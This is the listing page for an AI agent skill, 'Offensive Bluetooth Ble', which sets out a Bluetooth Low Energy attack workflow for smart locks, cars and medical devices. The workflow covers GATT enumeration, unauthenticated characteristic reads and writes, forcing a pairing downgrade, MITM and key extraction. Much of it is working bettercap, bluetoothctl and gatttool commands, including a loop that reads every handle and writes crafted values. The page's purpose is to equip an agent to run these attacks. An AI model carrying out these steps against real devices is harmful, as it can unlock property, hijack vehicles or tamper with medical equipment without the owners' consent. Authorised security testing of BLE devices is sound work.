Offensive Bluetooth Ble
Bluetooth Low Energy (BLE) attack methodology, GATT enumeration, characteristic...
Install
npx skills add SnailSploit/Claude-Red --skill offensive-bluetooth-ble -g -a claude-code -y- Repository
- SnailSploit/Claude-Red10.2k
- Category
- Writing
- Updated
- 23d ago
- License
- MIT
- Context cost
- Mediumabout 1,518 tokens
- Runs scripts
- No, instructions only
What it does
Bluetooth Low Energy (BLE) attack methodology, GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
Bluetooth Low Energy (BLE) Attacks
BLE devices communicate via GATT, a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Quick Workflow
- Discover and enumerate the device's GATT tree
- Test every characteristic for read/write/notify without authentication
- Inspect pairing method, Just Works = no MITM protection
- If Just Works, MITM the pairing to capture / inject
- Reverse the companion app for proprietary command formats
Discovery + GATT Enumeration
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live, that's your attack surface.
Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
